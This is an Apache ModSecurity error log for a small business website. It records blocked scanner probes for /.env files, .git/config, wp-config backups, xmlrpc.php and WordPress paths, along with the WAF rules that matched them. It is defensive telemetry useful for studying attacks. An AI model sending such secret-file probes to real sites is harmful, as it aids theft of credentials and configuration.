[Wed May 13 10:37:51.669419 2026] [:error] [pid 3259:tid 3273] [client 42.200.231.39:13222] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "agPj_-WJB4YwcPVLeArDogAAAQw"]
[Wed May 13 10:37:54.047927 2026] [:error] [pid 23887:tid 23895] [client 42.200.231.39:12745] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "agPkAtSKmvZJZkXBFDBEpAAAAMA"]
[Wed May 13 10:37:56.479151 2026] [:error] [pid 23787:tid 23848] [client 42.200.231.39:2971] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "agPkBB1cs5wE7VT6wirOEQAAAIA"]
[Wed May 13 18:47:34.628113 2026] [:error] [pid 45289:tid 45300] [client 43.134.178.104:44104] [client 43.134.178.104] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "agRWxoOEpVhwFIe0NzgkpAAAAYc"]
[Wed May 20 19:37:03.017426 2026] [:error] [pid 41277:tid 41297] [client 43.133.91.48:37494] [client 43.133.91.48] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ag2c37TTCltJmboB5uf8XwAAAA8"]
[Wed May 20 19:58:54.106956 2026] [:error] [pid 7731:tid 7737] [client 34.74.213.117:49864] [client 34.74.213.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.74.213.117, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "ag2h_n9qQlHXbkl2nEsFtQAAAYQ"]
[Wed May 20 19:58:57.214834 2026] [:error] [pid 7731:tid 7750] [client 34.74.213.117:49864] [client 34.74.213.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "ag2iAX9qQlHXbkl2nEsFwgAAAZE"]
[Wed May 20 19:58:58.145015 2026] [:error] [pid 7664:tid 7678] [client 34.74.213.117:50144] [client 34.74.213.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "ag2iAnZ8s7o3eiqT2kv7kwAAAUs"]
[Wed May 20 19:58:59.319015 2026] [:error] [pid 41279:tid 41358] [client 34.74.213.117:50415] [client 34.74.213.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "ag2iA7EFyfaehGZbt4yUuQAAANY"]
[Wed May 20 19:59:00.640864 2026] [:error] [pid 41364:tid 41386] [client 34.74.213.117:49389] [client 34.74.213.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "ag2iBBKTmyvxtNXrN-jMRgAAAJQ"]
[Wed May 20 19:59:01.549181 2026] [:error] [pid 41279:tid 41350] [client 34.74.213.117:53679] [client 34.74.213.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "ag2iBbEFyfaehGZbt4yUvwAAAM4"]
[Wed May 20 19:59:02.503870 2026] [:error] [pid 44059:tid 44076] [client 34.74.213.117:52188] [client 34.74.213.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "ag2iBhfFs-oSOOcyjywaBwAAAQ8"]
[Wed May 20 19:59:03.589170 2026] [:error] [pid 44059:tid 44075] [client 34.74.213.117:51180] [client 34.74.213.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "ag2iBxfFs-oSOOcyjywaCwAAAQ4"]
[Wed May 20 22:41:53.386244 2026] [:error] [pid 41364:tid 41367] [client 195.178.110.105:50614] [client 195.178.110.105] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||measureyourbrand.com.au|F|2"] [data "Multipart parsing error: Multipart: No boundaries found in payload."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ag3IMBKTmyvxtNXrN-j05QAAAIE"]
[Wed May 20 22:41:53.386382 2026] [:error] [pid 41364:tid 41367] [client 195.178.110.105:50614] [client 195.178.110.105] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 1, BQ 0, BW 0, DB 1, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||measureyourbrand.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ag3IMBKTmyvxtNXrN-j05QAAAIE"]
[Wed May 20 23:18:26.988709 2026] [:error] [pid 7664:tid 7678] [client 43.153.54.14:51200] [client 43.153.54.14] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ag3QwnZ8s7o3eiqT2kscKgAAAUs"]
[Thu May 21 02:35:22.866799 2026] [:error] [pid 41278:tid 41314] [client 102.67.247.185:9979] [client 102.67.247.185] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "ag3-6vWiNKASEfiGdwbeuQAAAEU"]
[Thu May 21 03:40:41.108597 2026] [:error] [pid 41364:tid 41367] [client 43.164.3.23:49706] [client 43.164.3.23] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ag4OORKTmyvxtNXrN-hS4AAAAIE"]
[Thu May 21 15:01:53.864578 2026] [autoindex:error] [pid 9188:tid 9193] [client 62.84.183.157:61358] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Thu May 21 15:17:01.804414 2026] [autoindex:error] [pid 9188:tid 9212] [client 40.115.141.123:2246] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive
[Thu May 21 15:17:03.402742 2026] [:error] [pid 9188:tid 9204] [client 40.115.141.123:2246] [client 40.115.141.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "ag6xb7GYm6q5dNSUvA-3ZwAAAcw"]
[Thu May 21 15:17:03.886127 2026] [:error] [pid 9189:tid 9223] [client 40.115.141.123:3288] [client 40.115.141.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "ag6xb5vTDh1NbYizKVx9ewAAAgQ"]
[Thu May 21 15:17:04.404460 2026] [:error] [pid 9189:tid 9240] [client 40.115.141.123:2243] [client 40.115.141.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "ag6xcJvTDh1NbYizKVx9fAAAAhU"]
[Thu May 21 15:17:04.912909 2026] [:error] [pid 9157:tid 9162] [client 40.115.141.123:2262] [client 40.115.141.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "ag6xcMGfHcLNqE8m88JuiwAAAYM"]
[Thu May 21 20:08:41.408196 2026] [:error] [pid 9188:tid 9202] [client 43.167.245.18:50842] [client 43.167.245.18] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ag71ybGYm6q5dNSUvA_jjgAAAco"]
[Thu May 21 22:17:02.451836 2026] [autoindex:error] [pid 49884:tid 49957] [client 20.205.110.7:8448] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive
[Thu May 21 22:17:05.484794 2026] [:error] [pid 49884:tid 49961] [client 20.205.110.7:8448] [client 20.205.110.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "ag8T4a5MPpsTNNHWS6gF-AAAAI4"]
[Thu May 21 22:17:05.972997 2026] [:error] [pid 49982:tid 50007] [client 20.205.110.7:8455] [client 20.205.110.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "ag8T4WFwIDa5Tf8O4bYUXQAAANc"]
[Thu May 21 22:17:06.509743 2026] [:error] [pid 49982:tid 49986] [client 20.205.110.7:8461] [client 20.205.110.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "ag8T4mFwIDa5Tf8O4bYUXgAAAMI"]
[Thu May 21 22:17:07.087216 2026] [:error] [pid 49982:tid 49990] [client 20.205.110.7:8466] [client 20.205.110.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "ag8T42FwIDa5Tf8O4bYUYQAAAMY"]
[Fri May 22 00:21:27.358898 2026] [:error] [pid 9189:tid 9221] [client 185.198.240.230:50273] [client 185.198.240.230] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/buttons.css"] [unique_id "ag8xB5vTDh1NbYizKVzeLAAAAgI"]
[Fri May 22 04:48:27.277285 2026] [:error] [pid 15585:tid 15661] [client 43.165.195.234:37494] [client 43.165.195.234] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ag9vmyKb-vB41AF-LC0qZgAAAI4"]
[Fri May 22 11:59:04.009674 2026] [:error] [pid 15585:tid 15657] [client 103.78.208.67:49434] [client 103.78.208.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.78.208.67, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "ag_UiCKb-vB41AF-LC3T5QAAAIo"]
[Fri May 22 13:53:44.085022 2026] [:error] [pid 15679:tid 15698] [client 43.130.228.73:52656] [client 43.130.228.73] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ag_vaCh8tgGc38WJ-Gz4ggAAANE"]
[Fri May 22 14:33:37.237490 2026] [:error] [pid 58782:tid 58795] [client 104.28.216.170:23931] [client 104.28.216.170] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/HEAD"] [unique_id "ag_4wYxsdTFafgO8vhT4iwAAAQs"]
[Fri May 22 14:33:37.246064 2026] [:error] [pid 58782:tid 58797] [client 104.28.216.170:23926] [client 104.28.216.170] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "ag_4wYxsdTFafgO8vhT4jAAAAQ0"]
[Fri May 22 17:11:08.292618 2026] [:error] [pid 15584:tid 15635] [client 34.93.63.75:61680] [client 34.93.63.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ahAdrN9Z_TVLbNEx52gL-wAAAE8"]
[Fri May 22 17:11:08.608394 2026] [:error] [pid 15583:tid 15588] [client 34.93.63.75:63303] [client 34.93.63.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/license.txt"] [unique_id "ahAdrHnaOncRcIm17YX1PAAAAAA"]
[Fri May 22 17:11:08.902101 2026] [:error] [pid 15583:tid 15592] [client 34.93.63.75:65007] [client 34.93.63.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/feed/"] [unique_id "ahAdrHnaOncRcIm17YX1TQAAAAQ"]
[Fri May 22 18:18:24.121623 2026] [:error] [pid 15583:tid 15607] [client 43.134.141.244:43756] [client 43.134.141.244] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ahAtcHnaOncRcIm17YX_vwAAABM"]
[Sat May 23 06:21:48.234286 2026] [:error] [pid 31039:tid 31048] [client 43.159.145.149:51382] [client 43.159.145.149] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ahDW_KIYDYo8WvA5zLJh_QAAAMc"]
[Sat May 23 06:28:57.151046 2026] [:error] [pid 30941:tid 30996] [client 1.15.52.154:33340] [client 1.15.52.154] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ahDYqXTIgjSDhiZmvlUjigAAAFQ"]
[Sat May 23 07:35:03.264236 2026] [:error] [pid 30940:tid 30949] [client 209.99.186.233:56580] [client 209.99.186.233] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "ahDoJ5qUP2XZmzp7RDqH3AAAAAA"]
[Sat May 23 17:04:05.106020 2026] [:error] [pid 30940:tid 30970] [client 88.151.33.224:44696] [client 88.151.33.224] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/wp-config.php.bak"] [unique_id "ahFthZqUP2XZmzp7RDr0OAAAABU"]
[Sat May 23 17:04:07.714737 2026] [:error] [pid 31039:tid 31045] [client 88.151.33.224:44480] [client 88.151.33.224] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/admin/.env"] [unique_id "ahFth6IYDYo8WvA5zLIqRQAAAMQ"]
[Sat May 23 17:04:07.717210 2026] [:error] [pid 31039:tid 31059] [client 88.151.33.224:44362] [client 88.151.33.224] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "ahFth6IYDYo8WvA5zLIqSAAAANI"]
[Sat May 23 17:04:07.717810 2026] [:error] [pid 25876:tid 25883] [client 88.151.33.224:44444] [client 88.151.33.224] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.local"] [unique_id "ahFthwSpWUCKPezIBJCQXQAAAQU"]
[Sat May 23 17:04:07.721636 2026] [:error] [pid 30941:tid 30992] [client 88.151.33.224:44442] [client 88.151.33.224] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.production"] [unique_id "ahFth3TIgjSDhiZmvlWl3wAAAFA"]
[Sat May 23 17:04:08.963926 2026] [:error] [pid 25876:tid 25895] [client 88.151.33.224:44482] [client 88.151.33.224] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/backend/.env"] [unique_id "ahFtiASpWUCKPezIBJCQXgAAARE"]
[Sat May 23 17:04:08.964489 2026] [:error] [pid 31039:tid 31042] [client 88.151.33.224:44458] [client 88.151.33.224] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.backup"] [unique_id "ahFtiKIYDYo8WvA5zLIqTAAAAME"]
[Sat May 23 17:04:08.964871 2026] [:error] [pid 25876:tid 25884] [client 88.151.33.224:44422] [client 88.151.33.224] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "ahFtiASpWUCKPezIBJCQXwAAAQY"]
[Sat May 23 17:04:08.967107 2026] [:error] [pid 30940:tid 30952] [client 88.151.33.224:44752] [client 88.151.33.224] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.bak" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/wp-config.bak"] [unique_id "ahFtiJqUP2XZmzp7RDr0SQAAAAM"]
[Sat May 23 17:04:08.967725 2026] [:error] [pid 25876:tid 25885] [client 88.151.33.224:44430] [client 88.151.33.224] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.example"] [unique_id "ahFtiASpWUCKPezIBJCQYgAAAQc"]
